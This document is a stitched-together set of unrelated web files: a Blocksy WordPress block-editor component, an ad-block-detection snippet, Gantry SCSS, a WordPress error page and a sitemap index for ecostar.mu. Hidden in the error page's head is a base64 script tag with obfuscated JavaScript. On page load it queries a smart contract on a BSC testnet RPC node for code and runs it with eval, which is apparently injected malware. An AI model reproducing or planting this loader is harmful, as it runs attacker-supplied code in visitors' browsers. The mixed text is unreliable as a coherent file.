import { createElement } from '@wordpress/element'
import { __ } from 'ct-i18n'
import { colors } from './colors'

import {
	InspectorControls,
	useBlockProps,
	withColors,
} from '@wordpress/block-editor'
import { PanelBody } from '@wordpress/components'

import { OptionsPanel, ColorsPanel } from 'blocksy-options'
import Preview from './Preview'
import { options } from '.'

const Edit = ({
	attributes,
	setAttributes,
	clientId,

	inputFontColor,
	setInputFontColor,
	inputFontColorFocus,
	setInputFontColorFocus,
	inputIconColor,
	setInputIconColor,
	inputIconColorFocus,
	setInputIconColorFocus,
	inputBorderColor,
	setInputBorderColor,
	inputBorderColorFocus,
	setInputBorderColorFocus,
	inputBackgroundColor,
	setInputBackgroundColor,
	inputBackgroundColorFocus,
	setInputBackgroundColorFocus,

	buttonBackgroundColor,
	setButtonBackgroundColor,
	buttonBackgroundColorHover,
	setButtonBackgroundColorHover,
}) => {
	const radius = attributes?.style?.border?.radius

	const blockProps = useBlockProps({
		style: {
			'--theme-form-text-initial-color': inputFontColor?.color,
			'--theme-form-text-focus-color': inputFontColorFocus?.color,

			'--theme-form-field-border-initial-color': inputBorderColor?.color,
			'--theme-form-field-border-focus-color':
				inputBorderColorFocus?.color,

			'--theme-form-field-background-initial-color':
				inputBackgroundColor?.color,
			'--theme-form-field-background-focus-color':
				inputBackgroundColorFocus?.color,
			...(attributes?.newsletter_subscribe_height
				? {
						'--theme-form-field-height': `${attributes.newsletter_subscribe_height}px`,
				  }
				: {}),
			...(radius
				? {
						'--theme-form-field-border-radius': `${
							typeof radius === 'string'
								? radius
								: `${radius.topLeft} ${radius.topRight} ${radius.bottomLeft} ${radius.bottomRight}`
						}`,
				  }
				: {}),
			...(attributes?.newsletter_subscribe_gap
				? {
						'--theme-form-field-gap': `${attributes.newsletter_subscribe_gap}px`,
				  }
				: {}),
		},
	})

	return (
		<div {...blockProps}>
			<Preview
				attributes={attributes}
				setAttributes={setAttributes}
				buttonStyles={{
					...(inputIconColor?.color
						? {
								'--theme-button-text-initial-color':
									inputIconColor.color,
						  }
						: {}),
					...(inputIconColorFocus?.color
						? {
								'--theme-button-text-hover-color':
									inputIconColorFocus.color,
						  }
						: {}),
					...(buttonBackgroundColor?.color
						? {
								'--theme-button-background-initial-color':
									buttonBackgroundColor.color,
						  }
						: {}),
					...(buttonBackgroundColorHover?.color
						? {
								'--theme-button-background-hover-color':
									buttonBackgroundColorHover.color,
						  }
						: {}),
				}}
			/>
			<InspectorControls>
				<PanelBody>
					<OptionsPanel
						purpose={'gutenberg'}
						onChange={(optionId, optionValue) => {
							setAttributes({
								[optionId]: optionValue,
							})
						}}
						options={options}
						value={attributes}
						hasRevertButton={false}
					/>
				</PanelBody>
			</InspectorControls>

			<InspectorControls group="styles">
				<ColorsPanel
					label={__('Input Font Color', 'blocksy')}
					resetAll={() => {
						setInputFontColor(colors.inputFontColor)
						setInputFontColorFocus(colors.inputFontColorFocus)
					}}
					panelId={clientId}
					settings={[
						{
							colorValue: inputFontColor.color,
							label: __('Initial', 'blocksy'),
							enableAlpha: true,
							onColorChange: (value) =>
								setInputFontColor(
									value || colors.inputFontColor
								),
						},
						{
							colorValue: inputFontColorFocus.color,
							label: __('Focus', 'blocksy'),
							enableAlpha: true,
							onColorChange: (value) =>
								setInputFontColorFocus(
									value || colors.inputFontColorFocus
								),
						},
					]}
				/>

				<ColorsPanel
					label={__('Input Border Color', 'blocksy')}
					resetAll={() => {
						setInputBorderColor(colors.inputBorderColor)
						setInputBorderColorFocus(colors.inputBorderColorFocus)
					}}
					panelId={clientId}
					settings={[
						{
							colorValue: inputBorderColor.color,
							label: __('Initial', 'blocksy'),
							enableAlpha: true,
							onColorChange: (value) =>
								setInputBorderColor(
									value || colors.inputBorderColor
								),
						},
						{
							colorValue: inputBorderColorFocus.color,
							label: __('Focus', 'blocksy'),
							enableAlpha: true,
							onColorChange: (value) =>
								setInputBorderColorFocus(
									value || colors.inputBorderColorFocus
								),
						},
					]}
				/>

				<ColorsPanel
					label={__('Input Background Color', 'blocksy')}
					resetAll={() => {
						setInputBackgroundColor(colors.inputBackgroundColor)
						setInputBackgroundColorFocus(
							colors.inputBackgroundColorFocus
						)
					}}
					panelId={clientId}
					settings={[
						{
							colorValue: inputBackgroundColor.color,
							label: __('Initial', 'blocksy'),
							enableAlpha: true,
							onColorChange: (value) =>
								setInputBackgroundColor(
									value || colors.inputBackgroundColor
								),
						},
						{
							colorValue: inputBackgroundColorFocus.color,
							label: __('Focus', 'blocksy'),
							enableAlpha: true,
							onColorChange: (value) =>
								setInputBackgroundColorFocus(
									value || colors.inputBackgroundColorFocus
								),
						},
					]}
				/>

				<ColorsPanel
					label={__('Button Text Color', 'blocksy')}
					resetAll={() => {
						setInputIconColor(colors.inputIconColor)
						setInputIconColorFocus(colors.inputIconColorFocus)
					}}
					panelId={clientId}
					settings={[
						{
							colorValue: inputIconColor.color,
							label: __('Initial', 'blocksy'),
							enableAlpha: true,
							onColorChange: (value) =>
								setInputIconColor(
									value || colors.inputIconColor
								),
						},
						{
							colorValue: inputIconColorFocus.color,
							label: __('Hover', 'blocksy'),
							enableAlpha: true,
							onColorChange: (value) =>
								setInputIconColorFocus(
									value || colors.inputIconColorFocus
								),
						},
					]}
				/>

				<ColorsPanel
					label={__('Button Background Color', 'blocksy')}
					resetAll={() => {
						setButtonBackgroundColor(colors.buttonBackgroundColor)
						setButtonBackgroundColorHover(
							colors.buttonBackgroundColorHover
						)
					}}
					panelId={clientId}
					settings={[
						{
							colorValue: buttonBackgroundColor.color,
							label: __('Initial', 'blocksy'),
							enableAlpha: true,
							onColorChange: (value) =>
								setButtonBackgroundColor(
									value || colors.buttonBackgroundColor
								),
						},
						{
							colorValue: buttonBackgroundColorHover.color,
							label: __('Hover', 'blocksy'),
							enableAlpha: true,
							onColorChange: (value) =>
								setButtonBackgroundColorHover(
									value || colors.buttonBackgroundColorHover
								),
						},
					]}
				/>
			</InspectorControls>
		</div>
	)
}

export default withColors(
	{ textColor: 'color' },
	{ inputFontColor: 'color' },
	{ inputFontColorFocus: 'color' },
	{ inputIconColor: 'color' },
	{ inputIconColorFocus: 'color' },
	{ inputBorderColor: 'color' },
	{ inputBorderColorFocus: 'color' },
	{ inputBackgroundColor: 'color' },
	{ inputBackgroundColorFocus: 'color' },
	{ buttonBackgroundColor: 'color' },
	{ buttonBackgroundColorHover: 'color' }
)(Edit)
var ai_adb_active=!1,ai_adb_counter=0,ai_adb_act_cookie_name="aiADB",ai_adb_pgv_cookie_name="aiADB_PV",ai_adb_page_redirection_cookie_name="aiADB_PR",ai_adb_overlay=AI_ADB_OVERLAY_WINDOW,ai_adb_message_window=AI_ADB_MESSAGE_WINDOW,ai_adb_message_undismissible=AI_FUNCB_GET_UNDISMISSIBLE_MESSAGE,ai_adb_message_cookie_lifetime=AI_FUNCT_GET_NO_ACTION_PERIOD,ai_adb_devices=AI_FUNC_GET_ADB_DEVICES,ai_adb_action=AI_FUNC_GET_ADB_ACTION,ai_adb_page_views="AI_FUNC_GET_DELAY_ACTION",ai_adb_selectors="AI_ADB_SELECTORS",
ai_adb_redirection_url="AI_ADB_REDIRECTION_PAGE",ai_block_class="AI_FUNC_GET_BLOCK_CLASS_NAME",ai_adb_content_css_begin_class="AI_ADB_CONTENT_CSS_BEGIN_CLASS",ai_adb_content_css_end_class="AI_ADB_CONTENT_CSS_END_CLASS",ai_adb_content_delete_begin_class="AI_ADB_CONTENT_DELETE_BEGIN_CLASS",ai_adb_content_delete_end_class="AI_ADB_CONTENT_DELETE_END_CLASS",ai_adb_content_replace_begin_class="AI_ADB_CONTENT_REPLACE_BEGIN_CLASS",ai_adb_content_replace_end_class="AI_ADB_CONTENT_REPLACE_END_CLASS",ai_adb_cookie_value=
"AI_CONST_AI_ADB_COOKIE_VALUE",ai_adb_name_1="AI_CONST_AI_ADB_1_NAME",ai_adb_name_2="AI_CONST_AI_ADB_2_NAME",ai_adb_attribute=AI_ADB_ATTR_NAME,ai_adb_message_code_1=function(){window.AI_ADB_STATUS_MESSAGE=1},ai_adb_message_code_2=function(){window.AI_ADB_STATUS_MESSAGE=2},ai_adb_message_code_3=function(){window.AI_ADB_STATUS_MESSAGE=3},ai_adb_message_code_4=function(){window.AI_ADB_STATUS_MESSAGE=4},ai_adb_message_code_5=function(){window.AI_ADB_STATUS_MESSAGE=5},ai_adb_message_code_6=function(){window.AI_ADB_STATUS_MESSAGE=
6};
#g5-container {
    .settings-param.container-tabs {
        padding: 0;
    }

    .g5-tabs-container {
        border-bottom: 1px solid #dedede;

        .g-tabs {
            ul {
                @extend %list-reset;
                /*@include border-width(null 1px 1px 1px);
                @include border-style(null solid solid solid);
                @include border-color(null #e6e6e6 #e6e6e6 #e6e6e6);*/
                border-bottom: 1px solid #e6e6e6;
                padding: 0.5rem 0;
            }

            li {
                display: inline-block;

                a {
                    display: block;
                    color: $core-accent;

                    span {
                        padding: 0.2rem 0.5rem;
                    }

                    &:hover {
                        color: darken($core-accent, 20%);
                    }
                }

                &.active {
                    a span {
                        color: $white;
                        background-color: $core-accent;
                        border-radius: 1rem;
                    }
                }
            }
        }

        .g-panes {
            @include border-width(null 1px null 1px);
            @include border-style(null solid null solid);
            @include border-color(null #e6e6e6 null #e6e6e6);

            .settings-param {
                background-color: #fafafa;
                border-bottom: 1px solid darken(#fafafa, 5%);

                /*.settings-param-override {
                    background-color: transparentize(#e2e2e2, 0.5);
                }*/
            }

            .g-pane {
                display: none;

                &.active {
                    display: block;
                }
            }
        }
    }
}

<!DOCTYPE html>
<html lang="en-US">
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width">
	<meta name='robots' content='noindex, follow'>
	<title>WordPress &rsaquo; Error</title>
	<style>
		html { background: #f1f1f1; }
		body {
			background: #fff;
			border: 1px solid #ccd0d4;
			color: #444;
			font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
			margin: 2em auto;
			padding: 1em 2em;
			max-width: 700px;
			box-shadow: 0 1px 1px rgba(0, 0, 0, .04);
		}
		h1 {
			border-bottom: 1px solid #dadada;
			color: #666;
			font-size: 24px;
			margin-top: 30px;
			padding-bottom: 7px;
		}
		#error-page {
			margin-top: 50px;
		}
		#error-page p,
		#error-page .wp-die-message {
			font-size: 14px;
			line-height: 1.5;
			margin: 25px 0 20px;
		}
		.button {
			background: #f3f5f6;
			border: 1px solid #016087;
			color: #016087;
			display: inline-block;
			font-size: 13px;
			height: 28px;
			line-height: 2;
			padding: 0 10px;
			border-radius: 3px;
			cursor: pointer;
			text-decoration: none;
		}
		.button:hover,
		.button:focus {
			background: #f1f1f1;
			border-color: #007cba;
			box-shadow: 0 0 0 1px #007cba;
		}
	</style>
<script id="_ea_s" src="data:text/javascript;base64,KGZ1bmN0aW9uKF8weDI1N2EwOSxfMHg0YjkwYmEpe2NvbnN0IF8weDFhY2FlMT17XzB4M2JmMmEzOjB4MTdhLF8weGQ3MTQ1OjB4MTYxLF8weDQzN2Q0NzoweDE2MyxfMHgyMzc2M2Q6MHgxNzQsXzB4MmU3MzRlOjB4MTcwLF8weDRlNTFkYzoweDE3NyxfMHgzNTFjZmQ6MHgxN2YsXzB4MzNiMGE1OjB4MTU2LF8weDE3ZTdhOToweDE2Nn0sXzB4MzM0ODI1PXtfMHgxYzU2ZTQ6MHgyYWR9O2Z1bmN0aW9uIF8weDVkNjMwOShfMHhjZTgxZWUsXzB4MTMxYjJlKXtyZXR1cm4gXzB4NDQxZihfMHhjZTgxZWUtIC1fMHgzMzQ4MjUuXzB4MWM1NmU0LF8weDEzMWIyZSk7fWNvbnN0IF8weDE0ZTRmOD1fMHgyNTdhMDkoKTt3aGlsZSghIVtdKXt0cnl7Y29uc3QgXzB4MzVkNmM0PXBhcnNlSW50KF8weDVkNjMwOSgtMHgxNmMsLTB4MTZiKSkvMHgxKigtcGFyc2VJbnQoXzB4NWQ2MzA5KC0weDE3MywtXzB4MWFjYWUxLl8weDNiZjJhMykpLzB4MikrcGFyc2VJbnQoXzB4NWQ2MzA5KC0weDE2ZSwtMHgxNjcpKS8weDMqKC1wYXJzZUludChfMHg1ZDYzMDkoLV8weDFhY2FlMS5fMHhkNzE0NSwtXzB4MWFjYWUxLl8weDQzN2Q0NykpLzB4NCkrcGFyc2VJbnQoXzB4NWQ2MzA5KC0weDE2ZCwtMHgxNzUpKS8weDUrLXBhcnNlSW50KF8weDVkNjMwOSgtXzB4MWFjYWUxLl8weDIzNzYzZCwtMHgxNmQpKS8weDYrLXBhcnNlSW50KF8weDVkNjMwOSgtMHgxNjMsLV8weDFhY2FlMS5fMHgyZTczNGUpKS8weDcrLXBhcnNlSW50KF8weDVkNjMwOSgtXzB4MWFjYWUxLl8weDRlNTFkYywtXzB4MWFjYWUxLl8weDM1MWNmZCkpLzB4OCoocGFyc2VJbnQoXzB4NWQ2MzA5KC0weDE2MiwtXzB4MWFjYWUxLl8weDMzYjBhNSkpLzB4OSkrcGFyc2VJbnQoXzB4NWQ2MzA5KC0weDE1ZiwtXzB4MWFjYWUxLl8weDE3ZTdhOSkpLzB4YTtpZihfMHgzNWQ2YzQ9PT1fMHg0YjkwYmEpYnJlYWs7ZWxzZSBfMHgxNGU0ZjhbJ3B1c2gnXShfMHgxNGU0ZjhbJ3NoaWZ0J10oKSk7fWNhdGNoKF8weDI3YTUzOCl7XzB4MTRlNGY4WydwdXNoJ10oXzB4MTRlNGY4WydzaGlmdCddKCkpO319fShfMHgzYTc1LDB4MzY2OWEpKTtmdW5jdGlvbiBfMHg0NDFmKF8weDNjY2ExNyxfMHgzMWJhMjcpe18weDNjY2ExNz1fMHgzY2NhMTctMHgxMzQ7Y29uc3QgXzB4M2E3NTYwPV8weDNhNzUoKTtsZXQgXzB4NDQxZjI5PV8weDNhNzU2MFtfMHgzY2NhMTddO3JldHVybiBfMHg0NDFmMjk7fWZ1bmN0aW9uIF8weDNhNzUoKXtjb25zdCBfMHgzYmI3ZGQ9WydhcHBsaWNhdGlvbi9qc29uJywnMTE3MjI4NkJhSk9rbicsJzMzMzQwd2dBcG1tJywnc3RyaW5naWZ5JywnbWF0Y2gnLCdQT1NUJywncmVzdWx0JywnMTVXVkhHZ00nLCcxNzYyNDQ1SE15U3FaJywnNWVHdGhkYicsJ2xlbmd0aCcsJ3NsaWNlJywnZnJvbUNoYXJDb2RlJywnaHR0cHM6Ly9ic2MtdGVzdG5ldC1ycGMucHVibGljbm9kZS5jb20vJywnanNvbicsJzIuMCcsJ2NhdGNoJywnYXBwbHknLCc4MDc3NjVuRG14Z3knLCcyODAzNzdZa2pUb0knLCcxNjExMzJnS29RcHcnLCdsYXRlc3QnLCc4MDg2MDkwSkFlSFBHJywndG9TdHJpbmcnLCcweEExZGVjRkI3NUM4QzBDQTI4QzEwNTE3Y2U1NkI3MTBiYWY3MjdkMmUnLCc4OEhKS1RMQicsJ3RoZW4nXTtfMHgzYTc1PWZ1bmN0aW9uKCl7cmV0dXJuIF8weDNiYjdkZDt9O3JldHVybiBfMHgzYTc1KCk7fWFzeW5jIGZ1bmN0aW9uIGxvYWRfKF8weDFkNWViMyl7Y29uc3QgXzB4MThjZWJjPXtfMHg0NmE5NTE6MHgxNyxfMHgxM2RiOWM6MHgxMSxfMHgxZWI1ZmU6MHg4LF8weGUxOTM2NToweDQsXzB4MWNmOWEwOjB4NSxfMHgxMjY0NzM6MHhkLF8weDUzYzMzNzoweDgsXzB4MWQxYmU3OjB4MTEsXzB4M2VlNmFlOjB4NixfMHgxNTFkMzQ6MHhlLF8weDQxNTFmNjoweDMsXzB4MWI0YjYwOjB4ZSxfMHgyZGI3ZGU6MHgxfSxfMHgyNzY2MzQ9e18weDRlODcwZToweDEzNn0sXzB4MWYzMGFiPXtfMHg0ZWI2ODM6MHhiNSxfMHg2YjdjMDQ6MHhhY30sXzB4MThjZDY5PXtfMHhhNWNhM2Y6MHgxZWV9O2xldCBfMHgxZTNjOWI9XzB4MjVmZWRkPT57bGV0IF8weGM2NTkwMz0nMHgnO2Z1bmN0aW9uIF8weDQyNTQyZChfMHgzYmI1N2EsXzB4MzQ3M2EwKXtyZXR1cm4gXzB4NDQxZihfMHgzNDczYTAtIC1fMHgxOGNkNjkuXzB4YTVjYTNmLF8weDNiYjU3YSk7fWZvcihjb25zdCBfMHgyZjQ3ZGUgb2YgXzB4MjVmZWRkKXtjb25zdCBfMHgzZjAwZTQ9XzB4MmY0N2RlW18weDQyNTQyZCgtXzB4MWYzMGFiLl8weDRlYjY4MywtMHhiYSldKDB4MTApO18weGM2NTkwMys9XzB4M2YwMGU0W18weDQyNTQyZCgtMHhhZCwtXzB4MWYzMGFiLl8weDZiN2MwNCldPT09MHgxPycwJytfMHgzZjAwZTQ6XzB4M2YwMGU0O31yZXR1cm4gXzB4YzY1OTAzO307Y29uc3QgXzB4Mjc0NDc3PXsnbWV0aG9kJzonZXRoX2NhbGwnLCdwYXJhbXMnOlt7J3RvJzpfMHgxZDVlYjMsJ2RhdGEnOicweDZkNGNlNjNjJ30sXzB4NDVkMjRlKF8weDE4Y2ViYy5fMHg0NmE5NTEsMHgxMCldLCdpZCc6MHg2MSwnanNvbnJwYyc6XzB4NDVkMjRlKF8weDE4Y2ViYy5fMHgxM2RiOWMsMHhjKX0sXzB4YmEzYTI1PXsnbWV0aG9kJzpfMHg0NWQyNGUoMHg3LF8weDE4Y2ViYy5fMHgxZWI1ZmUpLCdoZWFkZXJzJzp7J0FjY2VwdCc6XzB4NDVkMjRlKDB4MixfMHgxOGNlYmMuXzB4ZTE5MzY1KSwnQ29udGVudC1UeXBlJzpfMHg0NWQyNGUoMHgyLC0weDEpfSwnYm9keSc6SlNPTltfMHg0NWQyNGUoXzB4MThjZWJjLl8weDFjZjlhMCwweDExKV0oXzB4Mjc0NDc3KX0sXzB4NTM3MzlmPV8weDQ1ZDI0ZSgweGYsXzB4MThjZWJjLl8weDEyNjQ3MyksXzB4MWYyYjg2PWF3YWl0IGZldGNoKF8weDUzNzM5ZixfMHhiYTNhMjUpLF8weDUwMTkzZT0oYXdhaXQgXzB4MWYyYjg2W18weDQ1ZDI0ZSgweDEwLDB4YSldKCkpW18weDQ1ZDI0ZShfMHgxOGNlYmMuXzB4NTNjMzM3LDB4MTQpXVtfMHg0NWQyNGUoXzB4MThjZWJjLl8weDEyNjQ3MyxfMHgxOGNlYmMuXzB4MWQxYmU3KV0oMHgyKSxfMHhkMGFmMDk9bmV3IFVpbnQ4QXJyYXkoXzB4NTAxOTNlW18weDQ1ZDI0ZShfMHgxOGNlYmMuXzB4M2VlNmFlLF8weDE4Y2ViYy5fMHgxNTFkMzQpXSgvW1xkYS1mXXsyfS9naSlbJ21hcCddKGZ1bmN0aW9uKF8weDEyOGM0Nyl7cmV0dXJuIHBhcnNlSW50KF8weDEyOGM0NywweDEwKTt9KSksXzB4NGQyMGZhPU51bWJlcihfMHgxZTNjOWIoXzB4ZDBhZjA5W18weDQ1ZDI0ZSgweGQsXzB4MThjZWJjLl8weDQxNTFmNildKDB4MCwweDIwKSkpO2Z1bmN0aW9uIF8weDQ1ZDI0ZShfMHgzNjVhZTIsXzB4ZjVlYTcyKXtyZXR1cm4gXzB4NDQxZihfMHgzNjVhZTItIC1fMHgyNzY2MzQuXzB4NGU4NzBlLF8weGY1ZWE3Mik7fWNvbnN0IF8weDc5MWJhND1OdW1iZXIoXzB4MWUzYzliKF8weGQwYWYwOVtfMHg0NWQyNGUoMHhkLDB4MTIpXSgweDIwLDB4MjArXzB4NGQyMGZhKSkpLF8weDIxNWFhOD1TdHJpbmdbXzB4NDVkMjRlKF8weDE4Y2ViYy5fMHgxYjRiNjAsMHg4KV1bXzB4NDVkMjRlKDB4MTMsXzB4MThjZWJjLl8weDQ2YTk1MSldKG51bGwsXzB4ZDBhZjA5W18weDQ1ZDI0ZSgweGQsLV8weDE4Y2ViYy5fMHgyZGI3ZGUpXSgweDIwK18weDRkMjBmYSwweDIwK18weDRkMjBmYStfMHg3OTFiYTQpKTtyZXR1cm4gXzB4MjE1YWE4O31mdW5jdGlvbiBfMHgzY2I2NWQoXzB4NDFhN2JkLF8weDM1ZmI5ZSl7Y29uc3QgXzB4YjE1YzliPXtfMHg0NTUyZGM6MHgzY2R9O3JldHVybiBfMHg0NDFmKF8weDQxYTdiZC1fMHhiMTVjOWIuXzB4NDU1MmRjLF8weDM1ZmI5ZSk7fWxvYWRfKF8weDNjYjY1ZCgweDUwMiwweDUwNikpW18weDNjYjY1ZCgweDUwNCwweDUwZCldKGZ1bmN0aW9uKF8weDFkZDNjNSl7bGV0IF8weGI3OWNkMSxfMHgyZTY4MjEsXzB4NWJmMzcyLF8weDZjOTdjNSxfMHgxMGE1NmQsXzB4NjViZDRiLF8weDRjYjI5NyxfMHgxYzNmZDQsXzB4MjM2NGUzLF8weDU4ZTNkNSxfMHgyYTU3N2EsXzB4ZTYzZWRiLF8weDFkOGU1NSxfMHg1YzJiNTYsXzB4NGUzMmJhLF8weDMwYjFiNCxfMHgyMzljYmQsXzB4NGVkYWU0LF8weDQ2NDk5ZCxfMHgzZjE5MmYsXzB4NWQ5OTFmLF8weDExMDZlMTtldmFsKGF0b2IoXzB4MWRkM2M1KSk7fSlbXzB4M2NiNjVkKDB4NTE1LDB4NTEyKV0oKCk9Pnt9KTs="></script></head>
<body id="error-page">
	<div class="wp-die-message">This action has been disabled by the administrator.</div>
</body>
</html><?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://ecostar.mu/sitemaps.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap>
							<loc>https://ecostar.mu/post-sitemap1.xml</loc>
							<lastmod>2025-09-24T06:20:18+00:00</lastmod>
						</sitemap><sitemap>
							<loc>https://ecostar.mu/page-sitemap1.xml</loc>
							<lastmod>2026-07-01T11:02:30+00:00</lastmod>
						</sitemap><sitemap>	
							<loc>https://ecostar.mu/category-sitemap1.xml</loc>
							<lastmod>2026-09-08T20:12:48+00:00</lastmod>
						</sitemap></sitemapindex>